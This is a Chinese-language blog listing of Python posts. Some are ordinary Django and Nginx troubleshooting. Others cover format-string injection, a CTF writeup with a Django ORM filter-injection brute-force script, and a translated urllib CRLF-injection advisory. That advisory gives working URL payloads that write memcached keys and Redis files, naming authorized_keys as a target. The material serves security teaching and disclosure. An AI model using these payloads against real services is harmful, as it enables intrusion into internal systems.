分类 Python 下的文章

Django 生成的数据库表 id 字段溢出问题

某个系统,突然数据库插不进去数据,报错如下

[2017-04-22 23:17:55] - [ERROR] - [utils.api.api:146]  - integer out of range
Traceback (most recent call last):
  File "/usr/local/lib/python3.5/dist-packages/django/db/backends/utils.py", line 64, in execute
    return self.cursor.execute(sql, params)
psycopg2.DataError: integer out of range

然后表结构是这样的

user=# select * from acl_ip_data_id_seq;
   sequence_name    | last_value | start_value | increment_by |      max_value      | min_value | cache_value | log_cnt | is_cycled | is_called 
--------------------+------------+-------------+--------------+---------------------+-----------+-------------+---------+-----------+-----------
 acl_ip_data_id_seq | 2147550630 |           1 |            1 | 9223372036854775807 |         1 |           1 |       7 | f         | t
(1 row)

看到21亿这个数字很熟悉,是 int 最大值,怀疑是数据库 id 字段达到了最大值,无法继续增长了。

这个表是 Django ORM 生成的,看了下 migration,这个字段是AutoField,发现其实就是IntegerField

https://docs.djangoproject.com/en/1.9/ref/models/fields/#autofield

但是只有 Django 1.10 才支持更大的整形 ID 字段

https://docs.djangoproject.com/en/1.10/ref/models/fields/#bigautofield

前几天刚看了饿了么的技术一个故障分析,是一样的原因 http://efs.ele.me/?p=246 结果过了几天就遇见了。

Python 模板字符串与模板注入

这几年比较火的一个漏洞就是jinjia2之类的模板引擎的注入,通过注入模板引擎的一些特定的指令格式,比如{{1+1}}而返回了2得知漏洞存在。实际类似的问题在Python原生字符串中就存在,尤其是Python 3.6新增f字符串后,虽然利用还不明确,但是应该引起注意。

最原始的%

userdata = {"user" : "jdoe", "password" : "secret" }
passwd  = raw_input("Password: ")

if passwd != userdata["password"]:
    print ("Password " + passwd + " is wrong for user %(user)s") % userdata

如果用户输入%(password)s那就可以获取用户的真实密码了。

format方法相关

https://docs.python.org/3/library/functions.html#format

除了上面的payload改写为print ("Password " + passwd + " is wrong for user {user}").format(**userdata)之外,还可以

>>> import os
>>> '{0.system}'.format(os)
'<built-in function system>'

会先把0替换为format中的参数,然后继续获取相关的属性。

但是貌似只能获取属性,不能执行方法?但是也可以获取一些敏感信息了。

例子: http://lucumr.pocoo.org/2016/12/29/careful-with-str-format/

CONFIG = {
    'SECRET_KEY': 'super secret key'
}

class Event(object):
    def __init__(self, id, level, message):
        self.id = id
        self.level = level
        self.message = message

def format_event(format_string, event):
    return format_string.format(event=event)

如果format_string{event.__init__.__globals__[CONFIG][SECRET_KEY]}就可以泄露敏感信息。

理论上,可以通过类的各种继承关系找到想要的信息,比如在Django中的思路为 https://xianzhi.aliyun.com/forum/read/615.html

Python 3.6中的f字符串

这个字符串非常厉害,和Javascript ES6中的模板字符串类似,有了获取当前context下变量的能力。

https://docs.python.org/3/reference/lexical_analysis.html#f-strings

>>> a = "Hello"
>>> b = f"{a} World"
>>> b
'Hello World'

而且不仅仅限制为属性了,代码可以执行了。

>>> import os
>>> f"{os.system('ls')}"
bin      etc      lib      media    proc     run      srv      tmp      var
dev      home     linuxrc  mnt      root     sbin     sys      usr
'0'

>>> f"{(lambda x: x - 10)(100)}"
'90'

但是貌似没有把一个普通字符串转换为f字符串的方法,也就是说用户很可能无法控制一个f字符串,可能无法利用,还需要继续查一下。

PWNHUB Web第一题writeup

题目地址 http://54.223.46.206:8003/

首先在HTTP头中可以看到Server:gunicorn/19.6.0 Django/1.10.3 CPython/3.5.2,引用的站内资源只有一个js,然后回想起ph师傅的写过的Python Web安全的文章 http://www.lijiejie.com/python-django-directory-traversal/ ,发现在处理静态文件的时候有一个任意文件读取,但是任何.py结尾的文件都会提示403,其他的不会,考虑读取pyc,看了下自己的Django项目,Python 3.5的pyc都是在一个__pycache__目录中的,然后是xxx.cpython-35.pyc的文件名。

Django是一个MVC框架,默认的主要代码都在models.pyviews.py,成功的得到pyc。然后使用unpyc3 https://github.com/figment/unpyc3 得到了源码。

核心代码如下

class StaticFilesView(generic.View):
    content_type = 'text/plain'

    def get(self, request, *args, **kwargs):
        filename = self.kwargs['path']
        # 任意文件读取就是这里
        filename = os.path.join(settings.BASE_DIR, 'students', 'static', filename)
        (name, ext) = os.path.splitext(filename)
        if ext in ('.py', '.conf', '.sqlite3', '.yml'):
            raise exceptions.PermissionDenied('Permission deny')
        try:
            return HttpResponse(FileWrapper(open(filename, 'rb'), 8192), content_type=self.content_type)
        except BaseException as e:
            raise Http404('Static file not found')

class LoginView(JsonResponseMixin, generic.TemplateView):
    template_name = 'login.html'
    def post(self, request, *args, **kwargs):
        data = json.loads(request.body.decode())
        stu = models.Student.objects.filter(**data).first()
        if not stu or stu.passkey != data['passkey']:
            return self._jsondata('', 403)
        else:
            request.session['is_login'] = True
            return self._jsondata('', 200)

class Student(models.Model):
    name = models.CharField('姓名', max_length=64, unique=True)
    no = models.CharField('学号', max_length=12, unique=True)
    passkey = models.CharField('密码', max_length=32)
    group = models.ForeignKey('Group', verbose_name='所属班级', on_delete=models.CASCADE, null=True, blank=True)


class Group(models.Model):
    name = models.CharField('班级名', max_length=64)
    information = models.TextField('介绍')
    secret = models.CharField('内部信息', max_length=128)
    created_time = models.DateTimeField('创建时间', auto_now_add=True)

可以看到直接将用户发送的数据作为filter的条件传递了,如果用户存在,而data中没有passkey就会造成500,如果用户不存在就会403,所以可以使用Django中的like查询。它的特点就是字段名后面添加两个下划线,接着才是搜索条件,可以作为参数传给filter。

# 精确查询 where name="test"
Student.objects.filter(name="test")

# 按照字符串开头查询 where name="test%"
Student.objects.filter(name__startswith="test")

# 按照字符串包含查询 where name="%test%"
Student.objects.filter(name__contains="test")

其实这里还有个坑,但是后来给ph师傅说了之后还是填上了,防止题目过于难,就是这里Django使用的是sqlite3数据库,而sqlite3的like是不区分大小写的,而数据库里面存的确实是大小写混合的,然而实际上还是有两个解决方案的

  • 爆破,12位密码去除数字,实际组合是2^10左右,也并不大
  • 使用sql中的正则,类似Studdent.objects.filter(name__regex="test"),这样就和区分大小写的contains是一样的了。

当然这个问题并不需要用户的密码,使用相同的方式去获取secret就好了。语句是Student.objects.filter(group__secret__contains="pwnhub")。最终利用的代码是

import requests
import json

import string
d = string.printable

passkey = "pwnhub"

while True:
    for item in d:
        r = requests.post("http://54.223.46.206:8003/login/", data=json.dumps({"group__secret__contains": passkey + item}))
        if r.status_code == 500:
            passkey += item
            print(passkey)
            break
    else:
        exit()

最近遇见的几个问题

某服务后端server时不时的connection refused

前面是Nginx,后面是uwsgi,日志中时不时出现下面的内容

[error] 54#54: *1644 connect() failed (111: Connection refused) while connecting to upstream, client: 172.18.0.5, server: _, request: "POST /log HTTP/1.1", upstream: "http://[::1]:10000/log", host: "mgt-api"

找了好久也没找到原因,比较确定的是不是后面的uwsgi挂掉了,之后tcpdump抓包,发现每次出现问题的都是一个IPV6的地址,结合上面的日志恍然大悟,原来是Nginx反向代理写的是localhost而不是127.0.0.1,而且在host文件中是

127.0.0.1   localhost
::1             localhost

gethostbyname在多个IP的情况下,返回结果是随机的,导致有时候被解析到了IPV6的地址上了。

Django在https下增强的CSRF防护

某Django系统在POST的时候一直提示CSRF验证失败,即使看到的CSRFToken是没问题的,后来打开DEBUG看到提示,原因摘抄Django源码。

if request.is_secure():
    # Suppose user visits http://example.com/
    # An active network attacker (man-in-the-middle, MITM) sends a
    # POST form that targets https://example.com/detonate-bomb/ and
    # submits it via JavaScript.
    #
    # The attacker will need to provide a CSRF cookie and token, but
    # that's no problem for a MITM and the session-independent
    # nonce we're using. So the MITM can circumvent the CSRF
    # protection. This is true for any HTTP connection, but anyone
    # using HTTPS expects better! For this reason, for
    # https://example.com/ we need additional protection that treats
    # http://example.com/ as completely untrusted. Under HTTPS,
    # Barth et al. found that the Referer header is missing for
    # same-domain requests in only about 0.2% of cases or less, so
    # we can use strict Referer checking.
    referer = force_text(
        request.META.get('HTTP_REFERER'),
        strings_only=True,
        errors='replace'
    )
    if referer is None:
        return self._reject(request, REASON_NO_REFERER)

    referer = urlparse(referer)

    # Make sure we have a valid URL for Referer.
    if '' in (referer.scheme, referer.netloc):
        return self._reject(request, REASON_MALFORMED_REFERER)

    # Ensure that our Referer is also secure.
    if referer.scheme != 'https':
        return self._reject(request, REASON_INSECURE_REFERER)

    # If there isn't a CSRF_COOKIE_DOMAIN, assume we need an exact
    # match on host:port. If not, obey the cookie rules.
    if settings.CSRF_COOKIE_DOMAIN is None:
        # request.get_host() includes the port.
        good_referer = request.get_host()
    else:
        good_referer = settings.CSRF_COOKIE_DOMAIN
        server_port = request.get_port()
        if server_port not in ('443', '80'):
            good_referer = '%s:%s' % (good_referer, server_port)

    # Here we generate a list of all acceptable HTTP referers,
    # including the current host since that has been validated
    # upstream.
    good_hosts = list(settings.CSRF_TRUSTED_ORIGINS)
    good_hosts.append(good_referer)

    if not any(is_same_domain(referer.netloc, host) for host in good_hosts):
        reason = REASON_BAD_REFERER % referer.geturl()
        return self._reject(request, reason)

Python urllib HTTP头注入漏洞

已经发在了乌云知识库 http://drops.wooyun.org/papers/16905

总览

Python的urllib库(在Python2中为urllib2,在Python3中为urllib)有一个HTTP协议下的协议流注入漏洞。如果攻击者可以控制Python代码访问任意URL或者让Python代码访问一个恶意的web server,那这个漏洞可能会危害内网服务安全。

问题在哪

HTTP协议解析host的时候可以接受百分号编码的值,解码,然后包含在HTTP数据流里面,但是没有进一步的验证或者编码,这就可以注入一个换行符。

#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

url = sys.argv[1]

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)

这段代码只是从命令行参数接收一个URL,然后去访问它。为了查看urllib获取的HTTP头,我们用一个nc来监听端口。

nc -l -p 12345

在正常的代码中,我们可以这样访问

./fetch3.py http://127.0.0.1:12345/foo

返回的HTTP头是

GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Connection: close
Host: 127.0.0.1:12345

然后我们使用恶意构造的地址

./fetch3.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo

返回的HTTP头就是

GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :12345
Connection: close

然后攻击者可以任意注入HTTP头了。

这个攻击在使用域名的时候也可以进行,但是要插入一个空字节才能进行DNS查询。比如说,下面的URL进行解析会失败的。

http://localhost%0d%0ax-bar:%20:12345/foo

但是下面的URL是可以正常解析并访问到127.0.0.1的

http://localhost%00%0d%0ax-bar:%20:12345/foo

要注意的是HTTP重定向也可以利用这个漏洞,如果攻击者提供的URL是一个恶意的web server,然后服务器可以重定向到其他的URL也可以导致协议注入。

攻击面

下面会讨论几个可能导致严重后果的攻击方式。当然还远远不够,攻击都需要特定的场景,有很多不同的方法可以利用,还不能确定有没有其他的利用方式。

HTTP头注入和请求伪造

这个攻击方式由来已久了,但是和以前的请求伪造不同的是,这里仅仅是可以注入额外的HTTP头和请求方法。当然当前场景下,能够提交不同的HTTP方法和请求数据就已经很有用了,比如说原始的请求是这样的

GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
Connection: close

攻击者可以注入一个额外的完整的HTTP请求头

http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2fbar%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Length%3a%2031%0d%0a%0d%0a%7b%22new%22%3a%22json%22%2c%22content%22%3a%22here%22%7d%0d%0a:12345/foo

这个的响应是

GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
Connection: Keep-Alive

POST /bar HTTP/1.1
Host: 127.0.0.1
Content-Length: 31

{"new":"json","content":"here"}
:12345
Connection: close

demo中注入的完整的请求头在Apache HTTPD下是工作的,但是其他的server不一定能正确的解析或者利用。这种攻击可以用在内网攻击上,比如未授权的REST、SOAP或者类似的服务Exploiting Server Side Request Forgery on a Node/Express Application (hosted on Amazon EC2)

攻击memcached

memcached文档中,memcached会开放几个简单的网络协议接口供缓存数据读取和存储使用。一般来说,这种mamcached都是部署在应用服务器上,这样多个实例之间共享数据或者进行一些操作就会比较快,不用进行数据库操作了。要注意的是,memcached默认是都没有密码保护的。开发者或者管理员一般也是认为内网的应用是无法被攻击的。

这样,如果我们可以控制内网的Python访问一个URL,然后我们就可以轻松的访问memcached了,比如

http://127.0.0.1%0d%0aset%20foo%200%200%205%0d%0aABCDE%0d%0a:11211/foo

就会产生下面的HTTP头

GET /foo HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
set foo 0 0 5
ABCDE
:11211

当检查下面几行memcached的协议语法的时候,大部分都是语法错误,但是memcached在收到错误的命令的时候并不会关闭连接,这样攻击者就可以在请求的任何位置注入命令了,然后memcached就会执行。下面是memcached的响应(memcached是Debian下包管理默认配置安装的)

ERROR
ERROR
ERROR
ERROR
ERROR
STORED
ERROR
ERROR

经过确认,memcached中确实成功的插入了foo的值。这种场景下,攻击者就可以给内网的memcached实例发送任意命令了。如果应用依赖于memcached中存储的数据(比如用户的session数据,HTML或者其他的敏感数据),攻击者可能获取应用更高的权限了。这个利用方式还可以造成拒绝服务攻击,就是攻击者可以在memcached中存储大量的数据。

攻击Redis

Redis和memcached很相似,因为都提供了数据备份存储,一些内置数据类型,还能执行Lua脚本。前几年Quite a bit公布了攻击Redis的一些方法(链接1 链接2 链接3)。和memcached类似,Redis提供了TCP协议的接口,然后也可以执行一堆错误命令中的正确命令。另外,还可以利用Redis在写任意文件,攻击者可以控制一部分文件内容。比如下面的URL在/tmp/evil下创建了一个数据库文件。

http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20foo%20bar%0d%0aSAVE%0d%0a:6379/foo

然后可以看到刚才存储的一些键值对数据

# strings -n 3 /tmp/evil
REDIS0006
foo
bar

理论上,攻击者就可以利用Redis创建或者改写一些敏感文件了,包括

 ~redis/.profile
 ~redis/.ssh/authorized_keys
...

多版本的Python都受到影响

Python 2和3版本都受到影响,Cedric Buissart 提供了修复问题的部分信息。

3.4 / 3.5 : revision 94952
2.7 : revision 94951

虽然已经在最新的版本中修复了,但是很多系统的稳定版是没法得到修复的,比如最新的Debian Stable就还存在这个漏洞。

我的一点思考

Redis和memcached的开发者提供的默认配置是没有密码的,这个是不负责任的。当然,我能理解他们认为这些东西应该在"可信的内网"中使用。问题,实际上很少的内网能比外网更安全。未授权的服务即使监听在localhost,也会受到影响的。在安装过程中加一个随机生成的密码也并不难,开发者应该严肃的面对安全问题。

原文 http://blog.blindspotsecurity.com/2016/06/advisory-http-header-injection-in.html